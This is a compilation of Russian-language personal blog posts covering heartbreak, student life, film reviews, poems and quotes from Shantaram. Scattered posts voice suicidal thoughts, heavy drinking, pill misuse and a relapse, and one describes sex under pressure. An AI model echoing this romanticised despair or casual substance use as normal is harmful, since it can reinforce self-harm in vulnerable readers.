суть в том, что мы ясно себе представляем уже своим, желаем и действительно хотим без "но" в голове (конечно, хорошо помечтать и отбросить потом эти мысли.Иногда, сбывается быстрее-сбросить важность, кажется, называется). Еще ускоряет, так называемое "нахождение в потоке". Или просто загадать/попросить хороший сюрприз на день.

Если что-то интересно по этой теме, могу скинуть названия книг, или просто поделиться мыслями и историями из жизни :)

балансирую на грани тотального запоя и самоубийства. такой ненависти к себе я еще никогда не испытывала. и понимать, что, пока я буду вести этот образ жизни, со мной ничего хорошего и не случится - жестоко. в моменты особой печали, когда я чувствовала свою никчемность или кто-то из моих друзей находился на грани срыва, я находила нужные слова, не утешения, но ободрения. и сидеть сейчас и понимать, что как таковой "трагедии" и не произошло, но что-то во мне ломается каждую минуту.

когда ты встречаешь плохого человека, а потом он уходит, особой тоски ты не чувствуешь после этого, "все неспроста и, конечно же, к лучшему." но сейчас, после замечательных моментов, в которые ты чувствуешь себя по-настоящему живой, свою значимость… удушье. и невозможность исправить, вмешаться в данный порядок. когда ты осознаешь весь масштаб случившегося, и что это повлечет за собой… самое дурацкое, когда сам понимаешь, что в этом ничего вроде бы такого и нет и вообще можешь не замарачиваться. но я и могу, и не могу одновременно объяснить себе, почему накатывает эта "беспочвенная" тоска.

У меня складывается впечатление, что кроме впечатлений у меня ничего не складывается

Это абсурд, вранье: череп, скелет, коса. « Смерть придет, у нее будут твои глаза ».

Всем до боли известное чувство на вьюи (да и не только) - это невыносимая грусть и тоска после прочтения какой-то шикарной книги, или после просмотра сериала/фильма. У меня так давно этого не случалось, жила себе спокойно, занималась своими делами, а тут, как вы поняли, наткнулась на Лост, и подумала «А почему нет, собственно говоря? Сериал закончился 6 лет назад, уж когда он начался вообще промолчу, но о нем до сих пор помнят и очень многие любят». На протяжении 6 сезонов я радовалась, грустила, смеялась, нервничала, в общем, весь спектр эмоций, только вот не плакала, никогда, ни над чьей смертью. И надо же на последней серии выплакать все, что накопилось. И это были не только слезы грусти, но и слезы радости, ведь столько улыбок, поцелуев, объятий, как в в последние 10 минут сериала не было прежде. А потом, на следующий день вспомнила о концовке - и опять расплакалась. И в институт я пришла с красными опухшими глазами, потому что помимо слез лежала до 3х ночи и все думала, думала, думала. Думала о том, что нужно ценить жизнь сейчас, говорить близким все то, что чувствуешь к ним, размышляла о всех несправедливостях жизни, жестокостях, и однако же, несмотря на это, как жизнь прекрасна, до невозможности. Как сказал Ричард Алперт «Я хочу жить». Да, я хочу жить.

тот момент, когда у твоего парня размер одежды, который хочешь себе..

Как же меня за день зае*ало метро, все эти озлобленные люди. Чувствую себя хуже выжатого лимона. Ощущение, словно всю мою энергию поглотило метро вместе с людьми.

Ненавижу метро. Концентрация плохой энергии.

Такое было лето. Незабываемое.

до чего же охрененно спорить с какой-нибудь невменяемой клиенткой, когда она уже стоит и орёт на тебя, краснея и пытаясь что-то доказать с точки зрения её пергидрольного мира, и в итоге отстоять свою правоту. если бы не стоящие рядом в этот момент клиенты, я бы прямо на стуле станцевала этот чёртов победный танец. пусть она и вынесла мне весь мозг, но я прям получила удовольствие от результата.

И в один день солнце выйдёт. И в начале ты его не заметишь, оно будет бледным. А потом ты словишь себя на мысли о чём-то или о ком-то, кто не связан с прошлым. Кем-то кто будет только твоим. И ты поймёшь, что здесь твоя жизнь.

История Эллис Лэйси, которая неохотно покидает свою родную ирландскую деревню и отправляется на поиски работы в Америку. В итоге она поселяется в Бруклине, постепенно излечивается от ностальгии и начинает наслаждаться воздухом свободы. Ко всему прочему Эллис влюбляется, но трагические новости с родины заставляют ее вернуться в Ирландию, где она встречает другого мужчину и в результате вынуждена делать нелегкий выбор.

каждый день готова благодарить тебя за то, что ты есть у меня.

Ещё даже вторник не наступил, а я уже заебалась

Я просто напросто хочу весны, цветов и офигенного мужчинчика))) !!!

Мне щёки пышные на то, чтоб в них тайком хранить вино.

Когда уже не осталось сомнений, что Прабакер умрет, и мы осознали этот факт, мы четыре дня и четыре ночи наблюдали за тем, как страдает его цеплявшееся за жизнь тело-то, что осталось от него, почти-Прабакер с ампутированной улыбкой. В конце концов, глядя четыре дня и четыре ночи, как он мучится от боли, и не понимая, за что он так наказан, я начал желать всем сердцем, чтобы он умер скорее.Я так любил его, что нашел какой-то чулан со швабрами и, опустившись на колени рядом с бетонным желобом, в который равномерно капала вода из крана, я стал умолять Бога, чтобы Он позволил Прабакеру умереть.И он умер.

На пороге хижины, где Прабакер поселился с Парвати, сидела его мать Ракхмабай, обернувшись к миру спиной и распустив свои длинные волосы.Они спускались до пола черным ночным водопадом. Она взяла ножницы и обрезала волосы у самого затылка. Они упали на землю, как умирающая тень.

Когда мы по-настоящему любим кого-нибудь, то сначала больше всего боимся, что он разлюбит нас. Но на самом деле нам надо бояться, что мы разлюбим его, когда он умрет и оставит нас. Я по прежнему люблю тебя, Прабакер, люблю всем сердцем.Я не могу подарить тебе мою любовь, но иногда она мешает мне дышать. До сих пор мое сердце погружается иногда в печаль, в которой без тебя нет ни звезд, ни смеха, ни покоя.

Оказывается, бабушка Китти передала мне яблочки никак угощение, а как "собойку", ибо узнала про мои 6 часов торчания в ветклинике. Так много заботы.. Неужели я этого всего достойна?

Теперь мы с подругой вместе пытаемся готовиться к экзаменам.Я очень часто и очень сильно отвлекаюсь от подготовки когда занимаюсь одна, то компьютер, то планшет или вдруг поесть захотелось. А когда в довем вроде как и учебка клеится :D

Так забавно видеть в метро рекламу с элементарными грамматическими ошибками. Какое же дно, какой позор.

Привет, я что-то долго уже не писала. А давно хочу.Как только сажусь вылить сюда мысли, так они растекаются как вода, ничего не понятно, ни мне, ни вам.

Меня все дико бесит. Все.Абсолютно. Моя жизнь, мои отношения, мои родственники.

Жизнь - тут понятно.Я ее провожу не так как хотелось бы. Но я не одна такая думаю.Живем по средствам, ладно уж.

Отношения. Это вообще бред. В моей голове живет столько тараканов, что там уже наверное отдельная цивилизация открылась. Ну серьезно. В одни дни я безумно люблю Сережу, хочу прожить с ним всю свою жизнь, нарожать кучу детей, варить ему борщи, встречать с работы, стирать, убирать и все в этом роде. В другие же дни я становлюсь какой-то феминисткой, бешусь по любому поводу на счет уборки, жутко психую. Мне не хочется ничего, не хочу с ним разговаривать, в мыслях все перемешивается и начинаю думать о том, что возможно он не мой человек, что нам надо расставаться пока не поздно. Ну не дура ?Накручиваю себе такооооооое в голове, что просто стыдно самой становится. В такие минуты я готова бросить все, ехать куда-то жить самой от всех.И знаете, что страшно - эти мысли чаще стали появляться в моей голове. Ну чтобы все бросать и бежать куда-то. Привет, я очень странная.Надеюсь, такие страшные мысли у меня в голове не надолго. Все пройдет.

В воскресение поеду за диплом договариваться. Да, у меня опять новый дипломник. Уже 4. Прям как нехорошая женщина пошла по рукам) В переносном смысле>_<

Всю неделю была в Сережи, перед этим он приезжал ко мне, вроде как нормально все было. Но не знаю.

Всё это ваша хуйня про 40 кошек, потому что сильные и независимые женщины просто-напросто спиваются.

Райан Рейнолдс забрал себе костюм Дэдпула после окончания съемок.

" Я ждал съемок этого фильма 11 лет, поэтому забрал этот костюм. В последний день съемок я выходил со съемочной площадки в костюме и костюмер спросил:
- А костюм не хочешь снять?
А я ответил:
- А ты попробуй заставить.
И я просто ушел. Ушел, забрав костюм себе."

Каждому человеку нужен свой алкоголик, на фоне которого он не совсем алкоголик.

И если уже октябрь,
В моей голове - весна ,
Где были с тобою рядом,
И нам было не до сна.

И если уже октябрь,
В моей голове всё ты ,
Ты пьяный, но ты повсеместно рядом,
Отгоняешь страшные сны.

И если уже октябрь,
И если тебя рядом нет,
В моей голове ты рядом ,
Перед сном выключаешь свет.

• делюсь с вами моим небольшим творчеством

Мне всегда не везет. У меня ничего не получается, до чего бы я ни дотронулась.
Может быть я лучшего не заслуживаю?
Кому то суждено жить весело,
а мне суждено быть каждый день обманутой. Да, обманутой!
Я всегда верила в то, что мне обещали,
но никогда ничего не получалось.
Быть кому-нибудь нужной. Быть счастливой.
Или даже быть по-настоящему несчастной,
потому что, когда человек что-нибудь теряет,
он должен быть несчастным, а у меня даже этого не было,
потому что со мной всегда так.
Все начинается плохо, и кончается еще хуже.
Мне всегда не везет.
Я как липучка-мухоловка – все неприятности
ко мне прилипают.
Я из породы людей-пылесосов.
Они нужны, чтобы другим было легче дышать.

Я устала загоняться каждый день. Пытаться что-то найти, что-то увидеть. Все никак не могу отпустить эту ситуацию, хоть и прошло уже столько времени. И каждый раз, когда я нахожу какие-то новые фактики, все становится только хуже. жаль у нее твиттер закрытый

Внутри ужасно неприятное чувство, которое не то, что не проходит, а временами все только ухудшается, а еще и эти недавние "истории" тоже сделали свое дело. Иногда я думаю я бы вышла в окно, но я живу на 1 этаже.

вот ходишь куда-то, отвлекаешься и думаешь "да все хорошо "
а приходишь домой и просто умираешь. даже родители заметили что что-то не так
иду я опять куда-то, а то не могу уже.

можешь выучить жизни правила, но нельзя забывать о том, что, хоть плачь ты над их ушибами и хоть лей ты на них елей,
эти девочки безошибочно выбирают плохих парней.

Было сегодня такое, что заставило меня разрыдаться прямо в подъезде, на лестничной клетке, кое-как повернуть ключ в дверной скважине и медленно сползти по стенке, естественно, прямо в одежде. Оно же заставило зарегистрироваться на флампе и впервые оставить там отзыв. Оно же — вызвать в моей голове нить аргументов против моей мягкотелости.

Жаль, что нет аналога флампа о людях — было бы куда проще. Может быть, люди даже были бы чуточку добрее. А то мне с моей добротой, простотой и широким серцем, открытым буквально для каждой букашки, только и остаётся, что каждый день сползать по стенкам. К двадцати, вроде как, можно было уже избавиться от этой наивности — очерстветь, одеться в панцирь. Но для Воина это было бы слишком просто.

Все эти люди, может быть, вовсе и не хотели тебя обижать. Но быть сильным — значит быть невыносимым. После летнего трипа, где больше месяца кормила дорога, я вернулась домой и возбуждённо проповедовала маме идею всеобщей доброты. Я искренне верила в доброту незнакомых к незнакомым, хотя многие и не понимали: зачем кто-то будет пускать к себе переночевать незнакомого человека, если есть гостиницы? зачем кто-то будет бесплатно возить в своей машине совершенно чужих людей, если есть электрички? зачем кто-то будет тратить время на то, чтобы показать город, если есть экскурсоводы?

Они не верят, а я верю — через все эти слёзы, через сползания по стенке, через разбитые костяшки. Мне хочется быть открытой и чувствовать всех этих незнакомцев, мне хочется помогать. Помогать совершенно искренне, бескорыстно — в Бога я не верю и взамен ничего не жду. Этих людей я, наверное, больше никогда и не увижу. Но они смогут увидеть меня, однажды закрыв глаза и едва заметно улыбнувшись. Потому что они такие же, и мы — одно.

кто из нас захлебнется первым в потоке гнили
вперемешку с любовью, вместившейся в одну горсть.

когда двое прощаются, то одному больней…
мне обычно грустнее, когда от меня уходят.

суббота. раннее утро, я собираюсь на работу (хотя должна была уже кататься в Байкальске, но решила, раз не поехала, не буду терять часы). и тут пишет ОН.. доброе утро, интересуется моими делами и зовёт катать! а я такая работаю.. ну всё пучком и мы договорились поехать в обед.. жду его после работы.. листаю соц сети, я же до сих пор везде в чёрных списках.. хахаха. и вот смотрю, у него на странице нет фоток с ней, ни сохранённых, ни аватарка, в инстаграме пропали фотографии.. вот это да, подумала я. села к нему в машину, а там такой сладкий зайка, беленький. он рядом, сердце колотится и внутри разливается тепло.. заехали ко мне, я собрала шмотки в темпе, он поднялся, боялся, что дома родители.. и мы поехали по супермаркетам в поисках алкоголя. он ко мне прижимался, обнимал меня. целовал. я думала, эээй, мы же типо друзья, френдзона и т.п. но не могла же я отказываться от таких нежностей.. и вот мы наконец-то выехали из города. было очень легко. и вдруг он предложил поснимать, селфи и др. я удивилась, ведь до этого, при каждой попытке сделать фото - он бесился.. а тут сам предложил! а ещё, дал повести свою тачку от Култука! доверил мне то, что никому никогда не давал! ох, как он переживал! я так хихикала, от того, как он нервничает! С: но мне было дико приятно, что он дал повести. и вот мы доехали, заселились, начали пить.. его не унесло, а вот меня нормально так вставило.. было так много долгих сладких поцелуев, и когда дело подошло к этому, меня начало тормозить всё, я ему говорю, нельзя так, ведь мы типо друзья, а друзья этим не занимаются, ну он, нет, чтобы сказать всё как есть, он просто предложил ничего не делать, засранец! мне не хотелось ни себя, ни его обломать, и под его давлением, мы сделали это и я расплакалась. эмоции нахлынули в самый не подходящий момент. знаете, когда плачут во время оргазма? вот это был тот самый момент.. мне стало как-то не по себе. я не плакса. а тут понеслось, он, наверное, в шоке был.. да и я долго успокоиться не могла. "тише, я не хочу, чтобы ты плакала, успокойся.. поговори со мной, что случилось? Ань?.." это было странно. ночь была адской, и смешно и душераздирающие моменты..
утро.. сборы на гору. сколько терпения в моём принце.. перекручивал крепы, постоянно затягивал их мне. был рядом, ждал, смелся, поддерживал, переживал и заботился. мне было чудесно. я очень волновалась, переживала, когда видела, как он в парке прыгает, или как падает. сердце сжималось, особенно, когда он сказал, что в ключицу что-то хрустнуло. это было дико. хорошо, что всё обошлось. снова фотались, ещё видосики он снимал. дорога домой, ужин, приколюхи.. мне надоели эти шутки "братан, бро, братишка". прям сильно стали раздражать. или, когда он прощается, говорит "прощай". это больно. ведь, когда он ушёл в первый раз, он написал мне "прощай" и это было ужасно.
снова чудесная ночь. он не выпускает из своих объятий. я это очень люблю. когда всю ночь меня обнимают. утром я ушла в душ и когда уже выключила воду, слышу, как он говорит по телефону злым голосом, как когда мы с ним были в клинике, у меня на работе.. "..да, всё исчезло, да, всё, мне это надоело, я тебе не верю, у тебя не доказательств, хватит, я устал.." обрывками слышала диалог его с ней. он её бросил.. неужели.. я, как ни в чём не бывало выхожу из ванной, мы собираемся на гору. катаемся и весь день мне названивал незнакомый номер, что меня это стало напрягать и тут В. говорит мне, что это может быть его бывшая Маринка.. охренеть! я спрашиваю, с чего это вдруг? и он сказал, что бросил её. что не даст меня в обиду. ах, да. ещё он ей сказал, что спал со мной, когда они ещё были вместе. это же катастрофа!.. я была рада, что он наконец-то принял такое решение. в конце концов, это рано или поздно - должно было произойти.. расстояние, измены дают о себе знать.
замечательно покатались, второй день было легче, ещё и горного котейку нашли: 3
дорога домой, я закинула на него свои ножки. он говорил с мамой по телефону.. сказал "с Аней..". мы обсуждали разные темы. смеялась я до боли в животике. и с каждым метром, приближаясь к лому, мне казалось, вот и сказочке конец.. я попросила его подняться со мной, а он боялся с родителями пересечься. похоже, у многих парней такой порог есть..
поцеловал, уехал. я писала ему, фотки сбрасывала.. сладких снов.. и вот сегодня, с трудом встала.. общение всё так же продолжается по моей инициативе. сегодня он был странным. да, расстроился из-за машины, но я ведь как только можно старалась его отвлечь, подбодрить.. мне не хотелось, чтобы он грустил. а он держал строгую дистанцию. а меня к нему магнитом тянет! разошлись так странно.. вроде бы и поцеловал, сказал "пока".. но.. что-то мне страшно потерять его. я тупо боюсь, что ему не нужны отношения.. т.к. его сильно обидели. мой принц. зайка.. я буду с тобой. я этого хочу, а значит так будет.

Pam <3

Учась в ВУЗе хочешь-не хочешь, а приходится мириться с достоинствами и недостатками балльно-рейтинговой системы оценивания. Если преподаватель адекватен, то и жить можно, но с дамой, что ведет у нас экономику образования совсем все худо. Пытаемся всей группой понять, что от нас она хочет и все в пустую. Сравнили то, как она оценивает наши работы с тем, как это делал историк. Ужаснулись и приуныли одновременно. Доклады: историк ставил - 10 баллов, по экономике мало того, что максимум - 4 балла, так она еще плохой (по её представлениям) и хороший (с её же слов) оценивает одинаково - на 2 балла. Дальше веселее. Контрольная точка: историк - 10 баллов, по экономике - 3 балла. За ответ на семинаре: за нормальный ответ историк не скупился на 10 баллов, по экономике - 1 балл и не больше. Но самая жесть то, как эта придурошеная оценила схемы!!! Поставила людям по 0,3/0,7 балла. ТРИ ДЕСЯТЫХ БАЛЛА, КАРЛ! И это при том, что некоторые за такие же по содержанию работы (лишь стрелки иначе нарисовали, Блять) она поставила 4-5 баллов. Л - логика. Не знаю, как вас, но меня еще так не унижали. Непонятно, как набирать необходимое кол-во баллов на зачет с таким отношением?

Боже мой, да пусть сосутся! Простите им их счастье и идите дальше :) вырастут/повзрослеют/поменяются и станут как все.

I love them so much I wanna cry ^____^

Тяжело скрывать проблемы и недочеты, когда они просто витают вокруг меня и вырываются наружу, как бы я не пряталсь. Сложно изображать тех, кем мы не являемся. Не думала, что я буду из таких. Нужно просто пережить этот период. Но как-то он затянулся.

А вот мои сегодняшние результаты на основе новых приобретенных знаний о технике работы с нависшим веком. А всегда смотрела на картинки и только мечтать могла о таком макияже - ну как блин они это делают ? Визажисты и бьюти-блогеры хитренькие, делятся, да не всем. Хотя и нависшее веко далеко не у всех…Макияж делала с палеткой naked basics, которую я до этого просто терпеть не могла. Выходит, когда знаешь куда и что, любой материал поддается.

P.s. еще одно видео нашла с подробным описанием работы с нависающим веком.

мои глаза снова опухли, я сплю днем или не сплю вообще.
две ложки крепкого кофе и горсть таблеток - вот мой завтрак.
золотой мальбро и тот же кофе - мой ужин. а на обед - страдания.
в 15:00 начинаю вспарывать собственную душу, копаться в ней руками, находить самый ядовитые, темные места и обжигаться заново. в моей голове пожар.
мои руки такие же черные, как внутренности. только никто не видит. никто. я смеюсь им лицо, они не видят моей сущности и мне так смешно, мне с-м-е-ш-н-о.

Не знаю почему по нормальному не делается реблог с телефона. Ну вообщем! Блин, да!! Тысячу раз да, да и да! Примерно год назад, пока ездила на работу, каааждое утро на остановке стояла парочка и сосалась, буквально проглатывая друг друга, звука я не слышала, т.к к своему счастью у меня наушники. Как же мерзко они выглядели. И вот просто каждый день, без выходных и перерывов на обед. Жара, дождь, снег, мороз -30! И однажды, 14 февраля.. Он пришел один! И потом еще какое то время был один. Я ликовала внутри, надеясь что они расстались АХАХ но увы (недавно их видела снова. Уже не сосуться! Дикая страсть видимо прошла, теперь просто ходят рядом как соседи, даже не за ручку. И я снова похихикиваю :)

Иногда достаточно всего одного тёплого слова от любимого человека, что бы потом весь день ходить с улыбкой на лице.

Не хочу писать огромный пост, оформлять его и т.д, поэтому напишу немного и по делу. Ребят, я теперь официально волонтер Красного Креста. Для меня это очень важно, поэтому делюсь этим с вами с: Теперь буду участвовать в социальной помощи детям, пожилым, а так же помощь людям со СПИД И ВИЧ. Я рада, что смогу помогать, безгранично рада.

Ходила сегодня сдавать последние учебники и попала на перерыв в библиотеке. Со мной стояли какая-то девочка, влюблённая парочка и их подруга. Ну так вот у этой парочки просто нереальная, видимо, любовь. Всё это время, что мы ждали, когда откроется библиотека, они так страстно целовались, очень громко причмокивая, и лишь изредка обращая внимания на свою подругу.
Во-первых, блять, я НЕНАВИЖУ чавканье, чмоканье и прочие такие звуки, поэтому они стали дико меня бесить. А во-вторых, понаблюдала за ними некоторое время, и это просто пиздец. Какое вообще у этой парочки воспитание? Да никакого. Как можно постоянно сосаться при подруге. Ладно, они бы были одни, да целуйтесь сколько влезет. Но когда рядом с вами стоит человек, ваш друг\знакомый, то это просто неуважительно. Просто реально какое-то неуважение. Представляю, как этой девочке было неловко и неприятно. Они ещё в порыве страсти облокотились на стол, что этой девочке пришлось отойти в сторону, ибо все они не помещались. Я, конечно, всё понимаю, любовь невероятная, что аж пиздец, и отлипнуть друг от друга очень трудно. Но, алё, 15 минут потерпеть нельзя?! Я бы никогда себе не позволила вот так стоять и постоянно целоваться со своим парнем, когда рядом с нами кто-то ещё из наших знакомых. Как же это некрасиво. Я до сих пор под впечатлением и меня до сих пор бесит эта парочка.

Не сразу можно понять, чем так цепляет новая серия работ 30-летнего канадского фотографа Фреда Мурама «Целуя потолок».

Неожиданностью и простотой?Красотой взаимодействия человека с пространством? Вопросом «почему?» Или чем-то другим? Сам о своем творчестве он пишет так: «В своих работах я ориентируюсь на таких художников как Джон Болдессари, Эд Руш, Крис Берден и других, которые используют юмор, противостояние и нелепость в своих работах. С помощью фотографии, видео, и звука, я раскрываю такие проблемы как сексуальность, потребление, средства массовой информации и т. д. Меня интересует не только взаимодействие людей друг с другом, я пробую понять подлинную сущность других существ».

Каждый раз, когда я хочу начать писать о чем-нибудь здесь, постоянно смотрю в окно и хочу написать сначало о погоде, пожалуй с этого и начну.

За окном пронизывающий ветер и мокрый снег, хотя еще вчера светило солнце и я сидела в ожидании весны.

Ну в принципе можно и закончить)

Вчера, когда ехала с учёбы, в автобусе встретила любовь всей моей жизни (хаха, на самом деле нет, это просто я безответно страдала по нему последние три года до выпуска), с которым мы учились в школе. Аж до сих пор вспоминаю его теплую улыбку при прощании со мной, когда он выходил на остановке. Почему-то захотелось поделиться этим.
А каникулы прошли довольно уныло, зато я выспалась, досмотрела пару сериалов и дочитала Академию Вампиров. Ну и еще сходила на встречу выпускников в школу. Это, наверно, было самым хорошим событием за двухнедельный отдых.

ужасное чувство, когда он приезжает отдать тебе вещи, а ты видишь у него фиксатор шеи… теперь не сможет из-за травмы доучиться

ужасно осознавать, что вы разошлись, хоть в большей степени по его вине, и у него пошли неудачи… так тяжело было смотреть.. человек, с которым общаюсь около 5 лет, мой первый лучший друг… который когда-то хотел просто в армию, а теперь не может доучиться.

единственное радует, что он опять вернулся в музыку и сам уже подумывал о полной отдаче ей..

хоть бы с ним все было хорошо

как понять когда пора к терапевту: когда накапливается достаточное количество метафор для описания собственного состояния на данный момент

Каждый день новые открытия! день он сам как открытие. Новые люди и места. Глоток чая, запах сирени, пушистый снег - все это уносит куда-то, где было хорошо и весело, либо грустно и тоскливо, уносит меня к прошлой жизни. о я теперь не цепляюсь за это. Теперь это просто есть, точнее было.

А ведь впереди целая жизнь полная открытий, новых свершений, потрясений и переживаний. Мой путь начинается здесь и идет далеко вперед. И каждый человек, который мне встречается дан мне для того, чтобы я что-то осознала для себя. Даже случайные встречи и знакомства, особенно случаные встречи и знакомства!

Так много хочется написать и так мало времени на это.

Продолжение следует…

Написала пост, а он пропал и это уже второй за день. Ну суть - благодаря подруге и еще кое кому хапнула две флу. Приход не заставил себя ждать. Хотя кому я что втираю, не они меня заставили его выпить. Мне просто надо было справиться с истерикой. Я так радовалась что слезла с них….. Самое обидное, что подруга то знает что меня на таблетки надо только слегка подтолкнуть. Что она и сделала… Надеюсь завтра сдержусь

если он позвонит, я непременно возьму, и не важно, в 4 утра, или в час ночи. если он позовет, то я непременно приду, и совершенно неважно, чего он хочет. и не суть, сколько не виделись, месяц, иль может год, даже если он на меня обиделся, я приду если он позовет. встану из уютной постели, хоть завтра вставать с утра, и полно проблем, даже если нет сил и времени, не осталась ни общих тем, и разговоры на кухне забыты давно. я приду, если он позовет, даже если сижу в кино с каким-то унылым мачо, убирая ладонь с колен. я приду, когда он заплачет, я -личный его супермен, жилетка, как угодно можно назвать. я встану даже из гроба и лягу рядом с ним умирать.

Это блять больно.

Надеюсь, что она то, что тебе нужно.

Что это значит, когда парень с утра стоит у дверей ванной и просто смотрит, как ты расчесываешься, красишься или чистишь зубы?

Что это значит, когда он спонтанно берет тебя за руку в такси или когда играет во что-нибудь?

Что это значит, когда он не может пройти мимо, чтобы не пожекотать/хлопнуть по попе/потрепать волосы?

Что это значит, когда ты порой ведешь себя несносно, а он все равно хочет видеть тебя?

Что это значит, когда утром он не будит тебя, а укрывает одеялком?

Что это значит, когда он начинает строить планы на тебя и на будущее?

Что это значит, когда он собирается знакомиться с родителями?

Что это значит, когда он делает что-то довольно важное впервые с тобой?

Что это значит, когда он смотрит на тебя с радостью и заботой почти всегда?

Что все это значит???

_________________________________________

Будьте осторожны с советами. И осотрожнее слушайте. Потому что по-моему я только что чуть не повелась. Я знаю, как парни умеют просто играть. Со мной это было всегда. И вы ведь не знаете всего, а люи, которые знают все, пытаются мне втемяшить в голову, что все нормально и что он со мной не играет, просто тормозит по многим причинам и они не во мне. И единственный вариант - как сказала Аня - реально ждать. Потому что

Я слишком много накручиваю, это все знают.

Пожалуй, я больше не буду спрашивать здесь совета. Совет от людей, которые не знаютситуаци может быть очень убедительным, но зачастую - плохим.

Сегодня весь день думала о тебе, хочу оставить эти свои мысли, но мне так тебя не хватает… Мне понадобиться куча времени, чтобы тебя забыть.

—Ну это же она меня бросила.

—Так ты создал такие условия, чтобы она это сделала.

—…

Только что закончила смотреть «Паранормальное явление 5: Призраки», не пойму, правда о каких призраках идёт речь, причём это не очередной сомнительный перевод оригинального названия от российских прокатчиков. Хотя The Ghost Dimension ещё непонятнее.

По классике всё начинается с бытовухи, в серединке нас пугают случайные скримеры, а в конце происходит максимально напряжённая хрень.

В этом фильме герои находят какую-то особенную камеру, которая видит того самого демона Тоби, но на деле он выглядит не как злая сущность, а скорее как футажи для Sony Vegas. Видимо, именно на их покупку и потратили бюджет в 10 млн. долларов. Картинка от этой камеры настолько херовая, что у меня возникло ощущение, будто мои глаза анально насиловали на протяжении полутора часов.

Было заявлено, что это финальный фильм, и вроде бы всё пришло к логичному завершению, но нет удовлетворения. Как-то слабовато на мой взгляд, нас готовили к какому-то грандиозному злу, показывали всякие замудрённые ритуалы и многолетние подготовки. А итоги ничего интересного. Полнейшее разочарование.

Не смотря на то, что этот фильм откровенно плох, я всё равно считаю серию «Паранормального явления» одной из лучших в своём жанре. Если смотреть целиком, то получается вполне неплохая история, с интересными переплетениями в сюжете, но жалко, конечно, что концовку скомкали и смазали.

У меня всё.

не верится, что ты снова со мной.

нет, я понимаю, что вот ты и ты снова мне звонишь, пишешь, мы гуляем, проводим время вместе. но так много времени прошло порознь, что просто не верится что ты снова со мной.

и не могу относться к тебе из-за такого долгого расстояния между нами как раньше. нет, не хочется относиться хуже или холоднее, или показывать какую то обиду. нет, напротив. хочется относится нежнее, заботливее, показывать свою любовь, а не прятать ее как раньше.

хочется быть счастливой с тобой и делать счастливым тебя.

хочется чтобы ты всегда был рядом. и не уходил больше так надолго.

Рабочий день подходит к концу. Солнце садится за горизонт, утихают вентиляционные звуки компьютерных процессоров. Нужно собираться домой…

Шум, общение, движение, разрывающийся стационарный телефон по левую сторону, наполняют мой день чем-то привычным, родным. Беглое клацание по клавиатуре, бумаги, монитор и посторонние звуки не дают мыслям надолго задерживаться в голове. Но вот примелькалась фраза: "Хочу домой." И в середине рабочего, насыщенного дня она как никогда актуальна и желанна для осуществления. Ты бы все променял на послеобеденный получасовой сон, лишь бы не кимарить в этом надоевшем и чересчур офисном кабинете. Полдня эта мысль гложит тебя и требует воплощения, отвлекают чаи с коллегами, бегание по кабинетам, просмотр каталогов…и вот, ты вроде оклимался, проснулся после двухчасового "гипноза". Подходит время к окончанию рабочей рутины и вдруг!….

"А что делать там? За пределами этого активного поля и массы людей? Что и кто ждет меня? Чем насытить очередной, предстоящий вечер? Как избавиться от поглощающей силы дивана и стен квартиры?"-вот что не дает покоя и вгоняет в неистовую депрессию уныния. Осознание "пустоты" вокруг тебя и внутри тебя сжирает не меньше желания послеобеденного сна. Невозможно справиться. Некуда уйти от молчания, от скукоты и грусти. Ты никому не нужен в это время, ты забываешься для мира вокруг.

Выходя из офиса, сутулясь, добираешься до дома, выпиваешь чай-все по сценарию. Двери захлопнулись. Началась тишина…

Личное одиночество навсегда останется с тобой.

Нужно собираться домой…

И я оставлю попытки свернуть эти горы за которыми всё равно уже никто не ждёт

Мы с Китти начали двигаться вперёд, в будущее. Но я так боюсь, что наши дороги могут пойти в разных направлениях..

Многие мои близкие совсем не понимают, почему я так переживаю из-за того, что вес набрала. Я могу легко обьяснить:до сессии я занималась спортом, пыталась более менее хорошо питаться. Как итог:58 кг и тело, которое, в принципе, меня устраивало. Я набрала 3-4кг, т.е. я сейчас 61. И все бы ничего, но я дико загоняюсь из-за этого. Когда сказала бабушке и ее сестре, что поправилась, в ответ получила "не за то у тебя голова болит". За то. Абсолютно за то. Это у моих родных голова не за то болела, когда меня в начальной и средней школе из-за избыточного веса гнобили.

как же это чертовски важно для меня